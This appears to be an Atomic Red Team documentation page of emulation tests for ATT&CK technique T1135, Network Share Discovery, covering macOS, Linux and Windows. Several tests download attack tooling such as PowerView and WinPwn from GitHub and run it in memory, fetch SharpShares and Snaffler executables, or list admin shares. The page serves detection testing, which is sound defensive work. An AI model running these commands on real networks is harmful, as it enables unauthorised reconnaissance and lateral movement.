T1135 - Network Share Discovery
Description from ATT&CK (opens in a new tab)
Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) Net (opens in a new tab) can be used to query a remote system for available shared drives using the
net view \\remotesystem
command. It can also be used to query shared drives on the local system usingnet share
. For macOS, thesharing -l
command lists all shared points used for smb services.
Atomic Tests
-
Atomic Test #11 - Enumerate All Network Shares with SharpShares
-
Atomic Test #12 - Enumerate All Network Shares with Snaffler
Atomic Test #1 - Network Share Discovery
Network Share Discovery
Supported Platforms: macOS
auto_generated_guid: f94b5ad9-911c-4eff-9718-fd21899db4f7
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
computer_name | Computer name to find a mount on. | string | computer1 |
Attack Commands: Run with sh
!
df -aH
smbutil view -g //#{computer_name}
showmount #{computer_name}
Atomic Test #2 - Network Share Discovery - linux
Network Share Discovery using smbstatus
Supported Platforms: Linux
auto_generated_guid: 875805bc-9e86-4e87-be86-3a5527315cae
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
package_checker | Package checking command. Debian - dpkg -s samba | string | (rpm -q samba &>/dev/null) |
package_installer | Package installer command. Debian - apt install samba | string | (which yum && yum -y install epel-release samba) |
Attack Commands: Run with bash
! Elevation Required (e.g. root or admin)
smbstatus --shares
Dependencies: Run with bash
!
Description: Package with smbstatus (samba) must exist on device
Check Prereq Commands:
if #{package_checker} > /dev/null; then exit 0; else exit 1; fi
Get Prereq Commands:
#{package_installer}
Atomic Test #3 - Network Share Discovery - FreeBSD
Network Share Discovery using smbstatus
Supported Platforms: Linux
auto_generated_guid: 77e468a6-3e5c-45a1-9948-c4b5603747cb
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
package_checker | Package checking command. pkg info -x samba | string | (pkg info -x samba &>/dev/null) |
package_installer | Package installer command. pkg install -y samba413 | string | (which pkg && pkg install -y samba413) |
Attack Commands: Run with sh
! Elevation Required (e.g. root or admin)
smbstatus --shares
Dependencies: Run with sh
!
Description: Package with smbstatus (samba) must exist on device
Check Prereq Commands:
if #{package_checker} > /dev/null; then exit 0; else exit 1; fi
Get Prereq Commands:
#{package_installer}
Atomic Test #4 - Network Share Discovery command prompt
Network Share Discovery utilizing the command prompt. The computer name variable may need to be modified to point to a different host Upon execution available network shares will be displayed in the powershell session
Supported Platforms: Windows
auto_generated_guid: 20f1097d-81c1-405c-8380-32174d493bbb
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
computer_name | Computer name to find a mount on. | string | localhost |
Attack Commands: Run with command_prompt
!
net view \\#{computer_name}
Atomic Test #5 - Network Share Discovery PowerShell
Network Share Discovery utilizing PowerShell. The computer name variable may need to be modified to point to a different host Upon execution, available network shares will be displayed in the powershell session
Supported Platforms: Windows
auto_generated_guid: 1b0814d1-bb24-402d-9615-1b20c50733fb
Attack Commands: Run with powershell
!
get-smbshare
Atomic Test #6 - View available share drives
View information about all of the resources that are shared on the local computer Upon execution, available share drives will be displayed in the powershell session
Supported Platforms: Windows
auto_generated_guid: ab39a04f-0c93-4540-9ff2-83f862c385ae
Attack Commands: Run with command_prompt
!
net share
Atomic Test #7 - Share Discovery with PowerView
Enumerate Domain Shares the current user has access. Upon execution, progress info about each share being scanned will be displayed.
Supported Platforms: Windows
auto_generated_guid: b1636f0a-ba82-435c-b699-0d78794d8bfd
Attack Commands: Run with powershell
!
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-DomainShare -CheckShareAccess -Verbose
Dependencies: Run with powershell
!
Description: Endpoint must be joined to domain
Check Prereq Commands:
if ((Get-WmiObject -Class Win32_ComputerSystem).PartofDomain) {exit 0} else {exit 1}
Get Prereq Commands:
"Join system to domain"
Atomic Test #8 - PowerView ShareFinder
PowerView is a PowerShell tool to gain network situational awareness on Windows domains. ShareFinder finds (non-standard) shares on machines in the domain.
Supported Platforms: Windows
auto_generated_guid: d07e4cc1-98ae-447e-9d31-36cb430d28c4
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
parameters | ShareFinder parameter | string | -CheckShareAccess |
Attack Commands: Run with powershell
!
Import-Module "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1"
Invoke-ShareFinder #{parameters}
Dependencies: Run with powershell
!
Description: Invoke-ShareFinder module must exist in %TEMP% directory
Check Prereq Commands:
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1") {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://raw.githubusercontent.com/darkoperator/Veil-PowerView/8784e33f17ee7543ba2f45e27dc5f08ea3a1b856/PowerView/powerview.ps1" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1"
Atomic Test #9 - WinPwn - shareenumeration
Network share enumeration using the shareenumeration function of WinPwn
Supported Platforms: Windows
auto_generated_guid: 987901d1-5b87-4558-a6d9-cffcabc638b8
Attack Commands: Run with powershell
!
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
shareenumeration -noninteractive -consoleoutput
Atomic Test #10 - Network Share Discovery via dir command
Network Share Discovery utilizing the dir command prompt. The computer ip variable may need to be modified to point to a different host ip Upon execution available network shares will be displayed in the commandline session
Supported Platforms: Windows
auto_generated_guid: 13daa2cf-195a-43df-a8bd-7dd5ffb607b5
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
computer_ip | Computer IP to find a mount on. | string | 127.0.0.1 |
Attack Commands: Run with command_prompt
!
dir \\#{computer_ip}\c$
dir \\#{computer_ip}\admin$
dir \\#{computer_ip}\IPC$
Atomic Test #11 - Enumerate All Network Shares with SharpShares
SharpShares is a command line tool that can be integrated with Cobalt Strike's execute-assembly module, allowing for the enumeration of network shares. This technique has been utilized by various ransomware groups, including BianLian. Reference (opens in a new tab)
Supported Platforms: Windows
auto_generated_guid: d1fa2a69-b0a2-4e8a-9112-529b00c19a41
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
output_path | File to output enumeration results to | String | $env:temp\T1135SharpSharesOutput.txt |
sharp_path | Path to the SharpShares executable | String | PathToAtomicsFolder\..\ExternalPayloads\SharpShares.exe |
Attack Commands: Run with powershell
!
cmd /c '#{sharp_path}' /ldap:all | out-file -filepath "#{output_path}"
Cleanup Commands:
remove-item "#{output_path}" -force -erroraction silentlycontinue
Dependencies: Run with powershell
!
Description: The SharpShares executable must exist on disk
Check Prereq Commands:
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\SharpShares.exe") {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/mitchmoser/SharpShares/releases/download/v2.4/SharpShares.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\SharpShares.exe"
Atomic Test #12 - Enumerate All Network Shares with Snaffler
Snaffler is an open-source tool that has been used by various threat groups, including Scattered Spider/Muddled Libra, to enumerate accessible shares and credential-containing files within a domain. Reference (opens in a new tab)
Supported Platforms: Windows
auto_generated_guid: b19d74b7-5e72-450a-8499-82e49e379d1a
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
output_path | File to output enumeration results to | String | $env:temp\T1135SnafflerOutput.txt |
snaffler_path | Path to the Snaffler executable | String | PathToAtomicsFolder\..\ExternalPayloads\Snaffler.exe |
Attack Commands: Run with powershell
!
invoke-expression 'cmd /c start powershell -command { cmd /c "#{snaffler_path}" -a -o "#{output_path}" }; start-sleep 90; stop-process -name "snaffler"'
Cleanup Commands:
remove-item "#{output_path}" -force -erroraction silentlycontinue
Dependencies: Run with powershell
!
Description: The Snaffler executable must exist on disk
Check Prereq Commands:
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Snaffler.exe") {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/SnaffCon/Snaffler/releases/download/1.0.150/Snaffler.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Snaffler.exe"